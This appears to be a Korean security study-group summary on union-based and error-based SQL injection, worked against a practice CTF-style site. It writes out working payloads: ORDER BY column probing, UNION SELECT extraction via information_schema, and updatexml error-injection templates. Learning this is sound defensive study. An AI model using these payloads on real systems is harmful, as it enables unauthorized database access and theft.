[4주차] 스터디 정리 - Union Based, Error Based SQL Injection
* 웹 개발
-> 백엔드 코드가 더 중요함
-> bootstrap이란 좋은 사이트도 있음
-> 문제풀이 write-up
1) 만든 사이트
2 ) flag : 정답만큼은 모자이크하는 게 좋음
-> CTF 문제.
: 정답보지 않는다.
------------------------------------------------------------------------------------
** Review
> 로그인 인증
- 식별 / 인증
> SQL Injection
: 공격자 SQL 삽입하는 공격
: 데이터 추출도 가능함
( SELECT )
* SQL Injection 데이터 추출
1 ) SQL 질의문이 화면에 보이는 곳
ex ) 게시판, 회원정보 (마이페이지), 주소 검색, 검색 페이지 등등...
-> UNION SQL Injection
(select ~~ ) union ( select ~~~ )
(개발자가 만든 sql 질의문) union (내가 만든 sql 질의문)
+ union을 쓸 때 앞에 있는 select 문과
뒤에 있는 select 문의 컬럼이 같아야한다. (중요)
+ 각 위치에 맞는 컬럽 타입도 같아야 함
ex ) select id, pass from member
union select id, title from board
근데 해커입장에선 DB에 몇 개의 컬럼이 있는지
찍어볼 수 밖에 없음
- ORDER BY
: 정렬 구문
select ~~~~ order by [컬럼 이름] desc
index로도 정렬 가능
select id, pass order by 1
select id, pass order by 2 등등
만약 select id,pass from member
order by 3
라고 입력하면 syntax error가 일어남
* SQL Injection
제일 처음 해야할 것 : 서버 어떤 SQL 질의문 사용하는지 추측
(1) 추리
이런 사이트라면 어떤 SQL 질의문을 사용할까?
SELECT ???? from ??????
where name like '%@@@%' and (~~~)
일 것이다 왜냐하면 over를 쳐도 overwatch가 검색되므로
(2) 취약점 확인
이런걸 썼을 때 overwatch가 검색되는 걸 보면
현재 특수문자가 SQL질의문으로 먹힌다는 뜻
and 1=1 이 자주쓰기 좋음 (항등원 개념)
watch%' and '1%'='1
(3) order by
where name like '%@@@%'
watch%' order by 1 #
하다가 watch%' order by 5 # 에서 에러가 났다면
-> 컬럼이 4개! 라는 뜻
(4) data 출력 위치 파악
where name like '%_____%'
watch%' union select '1','2','3','4
를 했을 때, 2 3 4 컬럼이 나왔다면
1번 컬럼은 안나오는 컬럼이고 2 3 4를 건드리면 된다는 뜻
(5) database 이름 확인 : segfault_sql
select database() 이 함수를 입력하면
database 이름이 출력됨
where name like '%@@@%'
watch%' union select '1',database() ,'3','4
이렇게 하면 데이터베이스 이름과 3 과 4가 출력됨
(6) 테이블 이름 : game, member, secret
select table_name from information_schema.tables
where table_schema = 'segfault_sql'
여기서 information_schema.tables는 db가 가지고 있는 db
데이터들을 관리하기 위한 DB
information_schema라는 db에 있는 tables 라는 뜻 ( . 으로 연결)
그 후, watch%' union select '1',table_name, '3','4' from
information_schema.tables where table_schema =
'segfault_sql' #
(7) 컬럼 이름 : idx, secret
select [ 컬럼이름 ] from [ 테이블 이름 ]
으로 써야하기 때문에 무조건 컬럼이름과 테이블 이름을 알아야 함
information_schema.columns의 column_name 컬럼
watch%' union select '1',column_name,'3','4' from
information_schema.columns
where table_name='secret' #
(8) data 추출
> select secret from secret
watch%' union select '1',secret, '3','4' from
secret #
---------------------------------------------------------------------------------
* Error 메시지가 화면에 출력될 때,
-> DB error message
<?php
echo ' ;
?>
select ~~~~~~~~~~~
(1) 추측
select ???? from ????????
where id='_______'
(2) DB 에러인지 확인
(3) error based SQL Injection Function
( select ~ ) 실행 !!!!!!
- 문법 에러
- 논리 에러 -> 문법은 맞아야함.
논리 에러가 중요함 (문법 에러는 활용하기 애매해서)
- updatexml
# 1' and updatexml(null,concat(0x3a,'test'),null) and '1'='1
기본 틀
and ( 내가 넣고 싶은거 ) and '1'='1
:test
1' and updatexml(null,concat(0x3a,(SQL 실행문)),null) and '1'='1
하면 안에 있는 SQL 실행문이 실행됨
(4) DB 이름을 구하자!
select database()
1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1
(5) table 이름
select table_name from information_schema.tables where
table_schema = 'segfault_sql' limit 1,1
이거를 또 updatexml에 써넣으면 됨
1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where
table_schema = 'segfault_sql' limit 1,1)),null) and '1'='1
** limit
limit [어디에서부터], [몇개]
(6) 컬럼 이름
1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='secret' limit 0,1)),null) and '1'='1
(7) data 추출
----------------------------------------------------------------------------------------
** frame **
1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1
%' updatexml(null,(SQL)) and
2 ) SQL 질의문이 화면에 안나오는 곳
- > 로그인, 아이디 중복체크